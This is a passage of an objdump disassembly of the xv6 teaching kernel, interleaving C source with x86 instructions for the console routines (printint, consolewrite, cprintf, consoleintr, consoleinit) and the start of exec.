eb 01 sub $0x1,%ebx 801005de: e8 2d fe ff ff call 80100410 <consputc> while(--i >= 0) 801005e3: 39 f3 cmp %esi,%ebx 801005e5: 75 f1 jne 801005d8 <printint+0x58> } 801005e7: 83 c4 2c add $0x2c,%esp 801005ea: 5b pop %ebx 801005eb: 5e pop %esi 801005ec: 5f pop %edi 801005ed: 5d pop %ebp 801005ee: c3 ret 801005ef: 90 nop x = -xx; 801005f0: f7 d8 neg %eax 801005f2: eb a9 jmp 8010059d <printint+0x1d> 801005f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100600 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 80100600: 55 push %ebp 80100601: 89 e5 mov %esp,%ebp 80100603: 57 push %edi 80100604: 56 push %esi 80100605: 53 push %ebx 80100606: 83 ec 18 sub $0x18,%esp 80100609: 8b 75 10 mov 0x10(%ebp),%esi int i; iunlock(ip); 8010060c: ff 75 08 pushl 0x8(%ebp) 8010060f: e8 4c 11 00 00 call 80101760 <iunlock> acquire(&cons.lock); 80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010061b: e8 30 40 00 00 call 80104650 <acquire> for(i = 0; i < n; i++) 80100620: 83 c4 10 add $0x10,%esp 80100623: 85 f6 test %esi,%esi 80100625: 7e 18 jle 8010063f <consolewrite+0x3f> 80100627: 8b 7d 0c mov 0xc(%ebp),%edi 8010062a: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010062d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100630: 0f b6 07 movzbl (%edi),%eax 80100633: 83 c7 01 add $0x1,%edi 80100636: e8 d5 fd ff ff call 80100410 <consputc> for(i = 0; i < n; i++) 8010063b: 39 fb cmp %edi,%ebx 8010063d: 75 f1 jne 80100630 <consolewrite+0x30> release(&cons.lock); 8010063f: 83 ec 0c sub $0xc,%esp 80100642: 68 20 a5 10 80 push $0x8010a520 80100647: e8 c4 40 00 00 call 80104710 <release> ilock(ip); 8010064c: 58 pop %eax 8010064d: ff 75 08 pushl 0x8(%ebp) 80100650: e8 2b 10 00 00 call 80101680 <ilock> return n; } 80100655: 8d 65 f4 lea -0xc(%ebp),%esp 80100658: 89 f0 mov %esi,%eax 8010065a: 5b pop %ebx 8010065b: 5e pop %esi 8010065c: 5f pop %edi 8010065d: 5d pop %ebp 8010065e: c3 ret 8010065f: 90 nop 80100660 <cprintf>: { 80100660: 55 push %ebp 80100661: 89 e5 mov %esp,%ebp 80100663: 57 push %edi 80100664: 56 push %esi 80100665: 53 push %ebx 80100666: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100669: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010066e: 85 c0 test %eax,%eax locking = cons.locking; 80100670: 89 45 dc mov %eax,-0x24(%ebp) if(locking) 80100673: 0f 85 6f 01 00 00 jne 801007e8 <cprintf+0x188> if (fmt == 0) 80100679: 8b 45 08 mov 0x8(%ebp),%eax 8010067c: 85 c0 test %eax,%eax 8010067e: 89 c7 mov %eax,%edi 80100680: 0f 84 77 01 00 00 je 801007fd <cprintf+0x19d> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100686: 0f b6 00 movzbl (%eax),%eax argp = (uint*)(void*)(&fmt + 1); 80100689: 8d 4d 0c lea 0xc(%ebp),%ecx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 8010068c: 31 db xor %ebx,%ebx argp = (uint*)(void*)(&fmt + 1); 8010068e: 89 4d e4 mov %ecx,-0x1c(%ebp) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100691: 85 c0 test %eax,%eax 80100693: 75 56 jne 801006eb <cprintf+0x8b> 80100695: eb 79 jmp 80100710 <cprintf+0xb0> 80100697: 89 f6 mov %esi,%esi 80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[++i] & 0xff; 801006a0: 0f b6 16 movzbl (%esi),%edx if(c == 0) 801006a3: 85 d2 test %edx,%edx 801006a5: 74 69 je 80100710 <cprintf+0xb0> 801006a7: 83 c3 02 add $0x2,%ebx switch(c){ 801006aa: 83 fa 70 cmp $0x70,%edx 801006ad: 8d 34 1f lea (%edi,%ebx,1),%esi 801006b0: 0f 84 84 00 00 00 je 8010073a <cprintf+0xda> 801006b6: 7f 78 jg 80100730 <cprintf+0xd0> 801006b8: 83 fa 25 cmp $0x25,%edx 801006bb: 0f 84 ff 00 00 00 je 801007c0 <cprintf+0x160> 801006c1: 83 fa 64 cmp $0x64,%edx 801006c4: 0f 85 8e 00 00 00 jne 80100758 <cprintf+0xf8> printint(*argp++, 10, 1); 801006ca: 8b 45 e4 mov -0x1c(%ebp),%eax 801006cd: ba 0a 00 00 00 mov $0xa,%edx 801006d2: 8d 48 04 lea 0x4(%eax),%ecx 801006d5: 8b 00 mov (%eax),%eax 801006d7: 89 4d e4 mov %ecx,-0x1c(%ebp) 801006da: b9 01 00 00 00 mov $0x1,%ecx 801006df: e8 9c fe ff ff call 80100580 <printint> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006e4: 0f b6 06 movzbl (%esi),%eax 801006e7: 85 c0 test %eax,%eax 801006e9: 74 25 je 80100710 <cprintf+0xb0> 801006eb: 8d 53 01 lea 0x1(%ebx),%edx if(c != '%'){ 801006ee: 83 f8 25 cmp $0x25,%eax 801006f1: 8d 34 17 lea (%edi,%edx,1),%esi 801006f4: 74 aa je 801006a0 <cprintf+0x40> 801006f6: 89 55 e0 mov %edx,-0x20(%ebp) consputc(c); 801006f9: e8 12 fd ff ff call 80100410 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006fe: 0f b6 06 movzbl (%esi),%eax continue; 80100701: 8b 55 e0 mov -0x20(%ebp),%edx 80100704: 89 d3 mov %edx,%ebx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100706: 85 c0 test %eax,%eax 80100708: 75 e1 jne 801006eb <cprintf+0x8b> 8010070a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(locking) 80100710: 8b 45 dc mov -0x24(%ebp),%eax 80100713: 85 c0 test %eax,%eax 80100715: 74 10 je 80100727 <cprintf+0xc7> release(&cons.lock); 80100717: 83 ec 0c sub $0xc,%esp 8010071a: 68 20 a5 10 80 push $0x8010a520 8010071f: e8 ec 3f 00 00 call 80104710 <release> 80100724: 83 c4 10 add $0x10,%esp } 80100727: 8d 65 f4 lea -0xc(%ebp),%esp 8010072a: 5b pop %ebx 8010072b: 5e pop %esi 8010072c: 5f pop %edi 8010072d: 5d pop %ebp 8010072e: c3 ret 8010072f: 90 nop switch(c){ 80100730: 83 fa 73 cmp $0x73,%edx 80100733: 74 43 je 80100778 <cprintf+0x118> 80100735: 83 fa 78 cmp $0x78,%edx 80100738: 75 1e jne 80100758 <cprintf+0xf8> printint(*argp++, 16, 0); 8010073a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010073d: ba 10 00 00 00 mov $0x10,%edx 80100742: 8d 48 04 lea 0x4(%eax),%ecx 80100745: 8b 00 mov (%eax),%eax 80100747: 89 4d e4 mov %ecx,-0x1c(%ebp) 8010074a: 31 c9 xor %ecx,%ecx 8010074c: e8 2f fe ff ff call 80100580 <printint> break; 80100751: eb 91 jmp 801006e4 <cprintf+0x84> 80100753: 90 nop 80100754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100758: b8 25 00 00 00 mov $0x25,%eax 8010075d: 89 55 e0 mov %edx,-0x20(%ebp) 80100760: e8 ab fc ff ff call 80100410 <consputc> consputc(c); 80100765: 8b 55 e0 mov -0x20(%ebp),%edx 80100768: 89 d0 mov %edx,%eax 8010076a: e8 a1 fc ff ff call 80100410 <consputc> break; 8010076f: e9 70 ff ff ff jmp 801006e4 <cprintf+0x84> 80100774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((s = (char*)*argp++) == 0) 80100778: 8b 45 e4 mov -0x1c(%ebp),%eax 8010077b: 8b 10 mov (%eax),%edx 8010077d: 8d 48 04 lea 0x4(%eax),%ecx 80100780: 89 4d e0 mov %ecx,-0x20(%ebp) 80100783: 85 d2 test %edx,%edx 80100785: 74 49 je 801007d0 <cprintf+0x170> for(; *s; s++) 80100787: 0f be 02 movsbl (%edx),%eax if((s = (char*)*argp++) == 0) 8010078a: 89 4d e4 mov %ecx,-0x1c(%ebp) for(; *s; s++) 8010078d: 84 c0 test %al,%al 8010078f: 0f 84 4f ff ff ff je 801006e4 <cprintf+0x84> 80100795: 89 5d e4 mov %ebx,-0x1c(%ebp) 80100798: 89 d3 mov %edx,%ebx 8010079a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801007a0: 83 c3 01 add $0x1,%ebx consputc(*s); 801007a3: e8 68 fc ff ff call 80100410 <consputc> for(; *s; s++) 801007a8: 0f be 03 movsbl (%ebx),%eax 801007ab: 84 c0 test %al,%al 801007ad: 75 f1 jne 801007a0 <cprintf+0x140> if((s = (char*)*argp++) == 0) 801007af: 8b 45 e0 mov -0x20(%ebp),%eax 801007b2: 8b 5d e4 mov -0x1c(%ebp),%ebx 801007b5: 89 45 e4 mov %eax,-0x1c(%ebp) 801007b8: e9 27 ff ff ff jmp 801006e4 <cprintf+0x84> 801007bd: 8d 76 00 lea 0x0(%esi),%esi consputc('%'); 801007c0: b8 25 00 00 00 mov $0x25,%eax 801007c5: e8 46 fc ff ff call 80100410 <consputc> break; 801007ca: e9 15 ff ff ff jmp 801006e4 <cprintf+0x84> 801007cf: 90 nop s = "(null)"; 801007d0: ba 38 72 10 80 mov $0x80107238,%edx for(; *s; s++) 801007d5: 89 5d e4 mov %ebx,-0x1c(%ebp) 801007d8: b8 28 00 00 00 mov $0x28,%eax 801007dd: 89 d3 mov %edx,%ebx 801007df: eb bf jmp 801007a0 <cprintf+0x140> 801007e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&cons.lock); 801007e8: 83 ec 0c sub $0xc,%esp 801007eb: 68 20 a5 10 80 push $0x8010a520 801007f0: e8 5b 3e 00 00 call 80104650 <acquire> 801007f5: 83 c4 10 add $0x10,%esp 801007f8: e9 7c fe ff ff jmp 80100679 <cprintf+0x19> panic("null fmt"); 801007fd: 83 ec 0c sub $0xc,%esp 80100800: 68 3f 72 10 80 push $0x8010723f 80100805: e8 86 fb ff ff call 80100390 <panic> 8010080a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100810 <consoleintr>: { 80100810: 55 push %ebp 80100811: 89 e5 mov %esp,%ebp 80100813: 57 push %edi 80100814: 56 push %esi 80100815: 53 push %ebx int c, doprocdump = 0; 80100816: 31 f6 xor %esi,%esi { 80100818: 83 ec 18 sub $0x18,%esp 8010081b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 8010081e: 68 20 a5 10 80 push $0x8010a520 80100823: e8 28 3e 00 00 call 80104650 <acquire> while((c = getc()) >= 0){ 80100828: 83 c4 10 add $0x10,%esp 8010082b: 90 nop 8010082c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100830: ff d3 call *%ebx 80100832: 85 c0 test %eax,%eax 80100834: 89 c7 mov %eax,%edi 80100836: 78 48 js 80100880 <consoleintr+0x70> switch(c){ 80100838: 83 ff 10 cmp $0x10,%edi 8010083b: 0f 84 e7 00 00 00 je 80100928 <consoleintr+0x118> 80100841: 7e 5d jle 801008a0 <consoleintr+0x90> 80100843: 83 ff 15 cmp $0x15,%edi 80100846: 0f 84 ec 00 00 00 je 80100938 <consoleintr+0x128> 8010084c: 83 ff 7f cmp $0x7f,%edi 8010084f: 75 54 jne 801008a5 <consoleintr+0x95> if(input.e != input.w){ 80100851: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100856: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010085c: 74 d2 je 80100830 <consoleintr+0x20> input.e--; 8010085e: 83 e8 01 sub $0x1,%eax 80100861: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100866: b8 00 01 00 00 mov $0x100,%eax 8010086b: e8 a0 fb ff ff call 80100410 <consputc> while((c = getc()) >= 0){ 80100870: ff d3 call *%ebx 80100872: 85 c0 test %eax,%eax 80100874: 89 c7 mov %eax,%edi 80100876: 79 c0 jns 80100838 <consoleintr+0x28> 80100878: 90 nop 80100879: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100880: 83 ec 0c sub $0xc,%esp 80100883: 68 20 a5 10 80 push $0x8010a520 80100888: e8 83 3e 00 00 call 80104710 <release> if(doprocdump) { 8010088d: 83 c4 10 add $0x10,%esp 80100890: 85 f6 test %esi,%esi 80100892: 0f 85 f8 00 00 00 jne 80100990 <consoleintr+0x180> } 80100898: 8d 65 f4 lea -0xc(%ebp),%esp 8010089b: 5b pop %ebx 8010089c: 5e pop %esi 8010089d: 5f pop %edi 8010089e: 5d pop %ebp 8010089f: c3 ret switch(c){ 801008a0: 83 ff 08 cmp $0x8,%edi 801008a3: 74 ac je 80100851 <consoleintr+0x41> if(c != 0 && input.e-input.r < INPUT_BUF){ 801008a5: 85 ff test %edi,%edi 801008a7: 74 87 je 80100830 <consoleintr+0x20> 801008a9: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ae: 89 c2 mov %eax,%edx 801008b0: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 801008b6: 83 fa 7f cmp $0x7f,%edx 801008b9: 0f 87 71 ff ff ff ja 80100830 <consoleintr+0x20> 801008bf: 8d 50 01 lea 0x1(%eax),%edx 801008c2: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 801008c5: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 801008c8: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 801008ce: 0f 84 cc 00 00 00 je 801009a0 <consoleintr+0x190> input.buf[input.e++ % INPUT_BUF] = c; 801008d4: 89 f9 mov %edi,%ecx 801008d6: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 801008dc: 89 f8 mov %edi,%eax 801008de: e8 2d fb ff ff call 80100410 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 801008e3: 83 ff 0a cmp $0xa,%edi 801008e6: 0f 84 c5 00 00 00 je 801009b1 <consoleintr+0x1a1> 801008ec: 83 ff 04 cmp $0x4,%edi 801008ef: 0f 84 bc 00 00 00 je 801009b1 <consoleintr+0x1a1> 801008f5: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801008fa: 83 e8 80 sub $0xffffff80,%eax 801008fd: 39 05 a8 ff 10 80 cmp %eax,0x8010ffa8 80100903: 0f 85 27 ff ff ff jne 80100830 <consoleintr+0x20> wakeup(&input.r); 80100909: 83 ec 0c sub $0xc,%esp input.w = input.e; 8010090c: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 80100911: 68 a0 ff 10 80 push $0x8010ffa0 80100916: e8 65 38 00 00 call 80104180 <wakeup> 8010091b: 83 c4 10 add $0x10,%esp 8010091e: e9 0d ff ff ff jmp 80100830 <consoleintr+0x20> 80100923: 90 nop 80100924: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi doprocdump = 1; 80100928: be 01 00 00 00 mov $0x1,%esi 8010092d: e9 fe fe ff ff jmp 80100830 <consoleintr+0x20> 80100932: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while(input.e != input.w && 80100938: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010093d: 39 05 a4 ff 10 80 cmp %eax,0x8010ffa4 80100943: 75 2b jne 80100970 <consoleintr+0x160> 80100945: e9 e6 fe ff ff jmp 80100830 <consoleintr+0x20> 8010094a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 80100950: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100955: b8 00 01 00 00 mov $0x100,%eax 8010095a: e8 b1 fa ff ff call 80100410 <consputc> while(input.e != input.w && 8010095f: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100964: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010096a: 0f 84 c0 fe ff ff je 80100830 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100970: 83 e8 01 sub $0x1,%eax 80100973: 89 c2 mov %eax,%edx 80100975: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100978: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 8010097f: 75 cf jne 80100950 <consoleintr+0x140> 80100981: e9 aa fe ff ff jmp 80100830 <consoleintr+0x20> 80100986: 8d 76 00 lea 0x0(%esi),%esi 80100989: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi } 80100990: 8d 65 f4 lea -0xc(%ebp),%esp 80100993: 5b pop %ebx 80100994: 5e pop %esi 80100995: 5f pop %edi 80100996: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100997: e9 c4 38 00 00 jmp 80104260 <procdump> 8010099c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi input.buf[input.e++ % INPUT_BUF] = c; 801009a0: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 801009a7: b8 0a 00 00 00 mov $0xa,%eax 801009ac: e8 5f fa ff ff call 80100410 <consputc> 801009b1: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801009b6: e9 4e ff ff ff jmp 80100909 <consoleintr+0xf9> 801009bb: 90 nop 801009bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801009c0 <consoleinit>: void consoleinit(void) { 801009c0: 55 push %ebp 801009c1: 89 e5 mov %esp,%ebp 801009c3: 83 ec 10 sub $0x10,%esp initlock(&cons.lock, "console"); 801009c6: 68 48 72 10 80 push $0x80107248 801009cb: 68 20 a5 10 80 push $0x8010a520 801009d0: e8 3b 3b 00 00 call 80104510 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 801009d5: 58 pop %eax 801009d6: 5a pop %edx 801009d7: 6a 00 push $0x0 801009d9: 6a 01 push $0x1 devsw[CONSOLE].write = consolewrite; 801009db: c7 05 6c 09 11 80 00 movl $0x80100600,0x8011096c 801009e2: 06 10 80 devsw[CONSOLE].read = consoleread; 801009e5: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 801009ec: 02 10 80 cons.locking = 1; 801009ef: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 801009f6: 00 00 00 ioapicenable(IRQ_KBD, 0); 801009f9: e8 d2 18 00 00 call 801022d0 <ioapicenable> } 801009fe: 83 c4 10 add $0x10,%esp 80100a01: c9 leave 80100a02: c3 ret 80100a03: 66 90 xchg %ax,%ax 80100a05: 66 90 xchg %ax,%ax 80100a07: 66 90 xchg %ax,%ax 80100a09: 66 90 xchg %ax,%ax 80100a0b: 66 90 xchg %ax,%ax 80100a0d: 66 90 xchg %ax,%ax 80100a0f: 90 nop 80100a10 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 80100a10: 55 push %ebp 80100a11: 89 e5 mov %esp,%ebp 80100a13: 57 push %edi 80100a14: 56 push %esi 80100a15: 53 push %ebx 80100a16: 81 ec 0c 01 00 00 sub $0x10c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 80100a1c: e8 df 2d 00 00 call 80103800 <myproc> 80100a21: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 80100a27: e8 74 21 00 00 call 80102ba0 <begin_op> if((ip = namei(path)) == 0){ 80100a2c: 83 ec 0c sub $0xc,%esp 80100a2f: ff 75 08 pushl 0x8(%ebp) 80100a32: e8 a9 14 00 00 call 80101ee0 <namei> 80100a37: 83 c4 10 add $0x10,%esp 80100a3a: 85 c0 test %eax,%eax 80100a3c: 0f 84 91 01 00 00 je 80100bd3 <exec+0x1c3> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 80100a42: 83 ec 0c sub $0xc,%esp 80100a45: 89 c3 mov %eax,%ebx 80100a47: 50 push %eax 80100a48: e8 33 0c 00 00 call 80101680 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 80100a4d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 80100a53: 6a 34 push $0x34 80100a55: 6a 00 push $0x0 80100a57: 50 push %eax 80100a58: 53 push %ebx 80100a59: e8 02 0f 00 00 call 80101960 <readi> 80100a5e: 83 c4 20 add $0x20,%esp 80100a61: 83 f8 34 cmp $0x34,%eax 80100a64: 74 22 je 80100a88 <exec+0x78> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a66: 83 ec 0c sub $0xc,%esp 80100a69: 53 push %ebx 80100a6a: e8 a1 0e 00 00 call 80101910 <iunlockput> end_op(); 80100a6f: e8 9c 21 00 00 call 80102c10 <end_op> 80100a74: 83 c4 10 add $0x10,%esp } return -1; 80100a77: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a7c: 8d 65 f4 lea -0xc(%ebp),%esp 80100a7f: 5b pop %ebx 80100a80: 5e pop %esi 80100a81: 5f pop %edi 80100a82: 5d pop %ebp 80100a83: c3 ret 80100a84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(elf.magic != ELF_MAGIC) 80100a88: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a8f: 45 4c 46 80100a92: 75 d2 jne 80100a66 <exec+0x56> if((pgdir = setupkvm()) == 0) 80100a94: e8 97 64 00 00 call 80106f30 <setupkvm> 80100a99: 85 c0 test %eax,%eax 80100a9b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100aa1: 74 c3 je 80100a66 <exec+0x56> sz = 0; 80100aa3: 31 ff xor %edi,%edi for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100aa5: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100aac: 00 80100aad: 8b 85 40 ff ff ff mov -0xc0(%ebp),%eax 80100ab3: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100ab9: 0f 84 8c 02 00 00 je 80100d4b <exec+0x33b> 80100abf: 31 f6 xor %esi,%esi 80100ac1: eb 7f jmp 80100b42 <exec+0x132> 80100ac3: 90 nop 80100ac4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ph.type != ELF_PROG_LOAD) 80100ac8: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100acf: 75 63 jne 80100b34 <exec+0x124> if(ph.memsz < ph.filesz) 80100ad1: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100ad7: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100add: 0f 82 86 00 00 00 jb 80100b69 <exec+0x159> 80100ae3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ae9: 72 7e jb 80100b69 <exec+0x159> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100aeb: 83 ec 04 sub $0x4,%esp 80100aee: 50 push %eax 80100aef: 57 push %edi 80100af0: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100af6: e8 55 62 00 00 call 80106d50 <allocuvm> 80100afb: 83 c4 10 add $0x10,%esp 80100afe: 85 c0 test %eax,%eax 80100b00: 89 c7 mov %eax,%edi 80100b02: 74 65 je 80100b69 <exec+0x159> if(ph.vaddr % PGSIZE != 0) 80100b04: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100b0a: a9 ff 0f 00 00 test $0xfff,%eax 80100b0f: 75 58 jne 80100b69 <exec+0x159> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100b11: 83 ec 0c sub $0xc,%esp 80100b14: ff b5 14 ff ff ff pushl -0xec(%ebp) 80100b1a: ff b5 08 ff ff ff pushl -0xf8(%ebp) 80100b20: 53 push %ebx 80100b21: 50 push %eax 80100b22: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b28: e8 63 61 00 00 call 80106c90 <loaduvm> 80100b2d: 83 c4 20 add $0x20,%esp 80100b30: 85 c0 test %eax,%eax 80100b32: 78 35 js 80100b69 <exec+0x159> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100b34: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100b3b: 83 c6 01 add $0x1,%esi 80100b3e: 39 f0 cmp %esi,%eax 80100b40: 7e 3d jle 80100b7f <exec+0x16f> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100b42: 89 f0 mov %esi,%eax 80100b44: 6a 20 push $0x20 80100b46: c1 e0 05 shl $0x5,%eax 80100b49: 03 85 ec fe ff ff add -0x114(%ebp),%eax 80100b4f: 50 push %eax 80100b50: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100b56: 50 push %eax 80100b57: 53 push %ebx 80100b58: e8 03 0e 00 00 call 80101960 <readi> 80100b5d: 83 c4 10 add $0x10,%esp 80100b60: 83 f8 20 cmp $0x20,%eax 80100b63: 0f 84 5f ff ff ff je 80100ac8 <exec+0xb8> freevm(pgdir); 80100b69: 83 ec 0c sub $0xc,%esp 80100b6c: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b72: e8 39 63 00 00 call 80106eb0 <freevm> 80100b77: 83 c4 10 add $0x10,%esp 80100b7a: e9 e7 fe ff ff jmp 80100a66 <exec+0x56> 80100b7f: 81 c7 ff 0f 00 00 add $0xfff,%edi 80100b85: 81 e7 00 f0 ff ff and $0xfffff000,%edi 80100b8b: 8d b7 00 20 00 00 lea 0x2000(%edi),%esi iunlockput(ip); 80100b91: 83 ec 0c sub $0xc,%esp 80100b94: 53 push %ebx 80100b95: e8 76 0d 00 00 call 80101910 <iunlockput> end_op(); 80100b9a: e8 71 20 00 00 call 80102c10 <end_op> if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b9f: 83 c4 0c add $0xc,%esp 80100ba2: 56 push %esi 80100ba3: 57 push %edi 80100ba4: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100baa: e8 a1 61 00 00 call 80106d50 <allocuvm> 80100baf: 83 c4 10 add $0x10,%esp 80100bb2: 85 c0 test %eax,%eax 80100bb4: 89 c6 mov %eax,%esi 80100bb6: 75 3a jne 80100bf2 <exec+0x1e2> freevm(pgdir); 80100bb8: 83 ec 0c sub $0xc,%esp 80100bbb: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bc1: e8 ea 62 00 00 call 80106eb0 <freevm> 80100bc6: 83 c4 10 add $0x10,%esp return -1; 80100bc9: b8 ff ff ff ff mov $0xffffffff,%eax 80100bce: e9 a9 fe ff ff jmp 80100a7c <exec+0x6c> end_op(); 80100bd3: e8 38 20 00 00 call 80102c10 <end_op> cprintf("exec: fail\n"); 80100bd8: 83 ec 0c sub $0xc,%esp 80100bdb: 68 61 72 10 80 push $0x80107261 80100be0: e8 7b fa ff ff call 80100660 <cprintf> return -1; 80100be5: 83 c4 10 add $0x10,%esp 80100be8: b8 ff ff ff ff mov $0xffffffff,%eax 80100bed: e9 8a fe ff ff jmp 80100a7c <exec+0x6c> clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bf2: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax 80100bf8: 83 ec 08 sub $0x8,%esp for(argc = 0; argv[argc]; argc++) { 80100bfb: 31 ff xor %edi,%edi 80100bfd: 89 f3 mov %esi,%ebx clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bff: 50 push %eax 80100c00: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100c06: e8 c5 63 00 00 call 80106fd0 <clearpteu> for(argc = 0; argv[argc]; argc++) { 80100c0b: 8b 45 0c mov 0xc(%ebp),%eax 80100c0e: 83 c4 10 add $0x10,%esp 80100c11: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx 80100c17: 8b 00 mov (%eax),%eax 80100c19: 85 c0 test %eax,%eax 80100c1b: 74 70 je 80100c8d <exec+0x27d> 80100c1d: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp) 80100c23: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi 80100c29: eb 0a jmp 80100c35 <exec+0x225> 80100c2b: 90 nop 80100c2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(argc >= MAXARG) 80100c30: 83 ff 20 cmp $0x20,%edi 80100c33: 74 83 je 80100bb8 <exec+0x1a8> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c35: 83 ec 0c sub $0xc,%esp 80100c38: 50 push %eax 80100c39: e8 42 3d 00 00 call 80104980 <strlen> 80100c3e: f7 d0 not %eax 80100c40: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c42: 8b 45 0c mov 0xc(%ebp),%eax 80100c45: 5a pop %edx sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c46: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c49: ff 34 b8 pushl (%eax,%edi,4) 80100c4c: e8 2f 3d 00 00 call 80104980 